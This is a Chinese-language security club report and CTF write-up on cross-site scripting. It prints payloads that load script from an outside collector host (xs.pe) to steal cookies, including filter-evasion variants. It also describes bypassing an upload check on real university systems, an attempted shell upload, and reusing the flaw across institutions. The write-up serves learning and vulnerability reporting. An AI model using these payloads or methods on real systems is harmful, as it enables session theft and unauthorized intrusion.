网安社团周报 Week1 - XSS（跨站脚本攻击）

这真的是打CTF遇到最少的漏洞之一了（可能因为我打的少

最近一周都在打CTF和写东西（周报是几个小时赶出来的可能东西有点少（

关于 XSS 漏洞

image-20260206010622987

什么是XSS？

XSS（Cross-Site Scripting，跨站脚本攻击）是一种将恶意脚本注入到可信网站中的安全漏洞。攻击者利用这种漏洞，可以在受害者的浏览器中执行恶意JavaScript代码。

为什么叫XSS而不叫CSS？ 为了避免与CSS（层叠样式表）混淆。

简单的来说就是想办法将恶意js文件注入到一个网页中，用户访问网页的时候js文件生效从而拿关键的数据（例如Cookie等等）

XSS的三种主要类型

  1. 反射型 XSS
    • 特点：恶意脚本“反射”自当前 HTTP 请求（如 URL 参数）。需要诱导用户点击一个构造好的链接。
    • CTF/实战场景：搜索框、错误提示页、URL 参数回显处。常用于盗取 Cookie 或发起针对个人的攻击。
  2. 存储型 XSS
    • 特点：恶意脚本被永久存储在服务器端（数据库、评论、留言板、用户资料）。所有访问该页面的用户都会中招。
    • 危害最大：相当于在网站上埋了一个“地雷”，影响所有后续访问者。典型的“蠕虫攻击”基础。
  3. DOM 型 XSS
    • 特点：漏洞的源头和触发点都在浏览器端的 DOM 解析过程中，不涉及服务器端响应。前端 JavaScript 代码（如 innerHTML, location.hash, eval）不安全地操作了用户输入。
    • 难点：纯前端漏洞，传统扫描器难以发现，需要代码审计。

image-20260206162700721

XSS平台

CTF里用到XSS平台的时候，说白了就是需要一个“收信地址”。你打XSS，总得有个地方接数据吧？不然怎么知道攻击成没成功？

XSS平台就是干这个的——一个帮你接数据、看结果的后台。它的核心逻辑特别简单：

  1. 你在题目网站上找到一个能插XSS的地方，比如留言板、搜索框
  2. 你把一段恶意JS代码（里面带着你XSS平台的地址）塞进去
  3. 别人（通常是题目模拟的“管理员”）点开或者浏览那个页面
  4. 别人的浏览器执行了你的恶意JS，自动把数据（比如Cookie）发到你的XSS平台
  5. 你在XSS平台的网页上，就能看到发回来的数据，里面可能就有flag

整个流程就是：你投毒 → 别人中招 → 数据回传 → 你收菜。

XSS漏洞 - CTF实战

主要使用CTFHub技能树作为学习！

CTFHub 反射型

这道题比较简单 上面的代表着输入名称 然后就会回显这个名字 这里就存在可以写入js文件的操作

image-20260206013823042

在XSS平台上找到js的版块

image-20260206013912712

我们将XSS平台的js语句写入进去 得到url

1
http://challenge-21e0aae685d5c413.sandbox.ctfhub.com:10800/?name=%3CsCRiPt+sRC%3D%2F%2Fxs.pe%2FIej%3E%3C%2FsCrIpT%3E

用下面的Send Url To Bot 其实这个就是模拟了别人的机器访问这个网址的效果

image-20260206013948321

在平台上就可以看到这一次的请求啦

image-20260206014007755

成功得到cookie 拿到flag！

image-20260206014033578

CTFHub 存储型

这个和反射型的区别不大，就是你输入名称后不是把js存在url里面而是服务器里面 例如我们输入123 url并没有变化 代表是服务器返回的这个数据

image-20260206014217021

一样的操作 将js语句写入进去

image-20260206014254934

然后直接访问这个根目录就好啦 用F12可以看见js被写进去了

image-20260206014358704

XSS平台上线

image-20260206014451452

一样的流程得到cookie 拿到flag

image-20260206014510712

CTFHub DOM反射

打开网址 发现和之前的差不多

image-20260206014719656

我们依旧是将js直接写进去试一下 但是这一次js明显没有成功被解释 被别的语句给拦下了

image-20260206014806589

好啦 现在就要去分析这个源码了 可以看到本来也是一个js 而且最后面有一个’

image-20260206015111770

所以我们需要闭合这个’然后闭合js

1
'</sCrIpT><sCRiPt sRC=//xs.pe/Iej></sCrIpT>

我们再请求一下 F12一看就没问题啦 上一个js被顺利闭合

image-20260206015314893

然后就是照旧发包

image-20260206015333231

然后依旧是XSS平台上线

image-20260206015355683

得到cookie 也就是这里的flag

image-20260206015414659

CTFHub 过滤空格

这道题正常提交之前的请求发现空格消失了

image-20260206034317637

这种情况一般用注释就能秒杀

image-20260206034516188

发个包

image-20260206034535701

得到flag！

image-20260206034554703

CTFHub 过滤关键词

这道题其实我的XSS平台就直接秒了，但是还是要讲一下逻辑原理

当用小写js语句访问时会被过滤

image-20260206034921214

但是一般平台都是混淆过的例如如下

1
<sCRiPt sRC=//xs.pe/Iej></sCrIpT>

将大小写混淆后的提交 即可获得flag！

image-20260206035040115

XSS漏洞 - SRC挖洞实战

最近挖SRC刚好挖到这个洞，确实也是没有想到很巧

重要：所有安全测试必须获得明确授权，遵守相关法律法规和平台规则。未经授权的测试可能构成违法行为。

某高校某系统存在存储型XSS漏洞

通过简单的信息搜集登上学校系统 这个是某校的一个报修系统 我看了看系统逻辑有点类似于OA

image-20260206031350150

那我们找一个上传图片的接口试一试 这个系统只能上传jpg png 是一个传图片的接口 用.直接隔断 因为校验不严格上传成功

image-20260206031822873

这样就成功上传了html文件，访问测试一下，弹窗了，验证有存储型XSS漏洞。

image-20260206032022032

漏洞通杀概念 - 某高校OA系统存在存储型XSS漏洞

漏洞通杀可以理解为你发现这个这个系统的一个接口有漏洞，但是同样的系统可能有很多高校或者企业在用，就可以多次利用多次提交。

打开OA系统，依旧发现可以正常发起流程

image-20260206032730325

依旧找到发包的地方，尝试修改 一模一样的流程 发包成功

其实文件上传最好的情况还是传shell，我这是想传shell没传成才变成的存储型XSS（

image-20260206032913233

这里开始就不太一样了，因为刚刚的系统上传完之后图片可以直接预览，就可以很轻松找到url地址，这个系统并没有回显完整的地址。

破局之法其实就是拼接，这俩系统长得差不多，其实接口的实现也差不多拼接一下URL发现确实有存储型XSS漏洞。

image-20260206033142135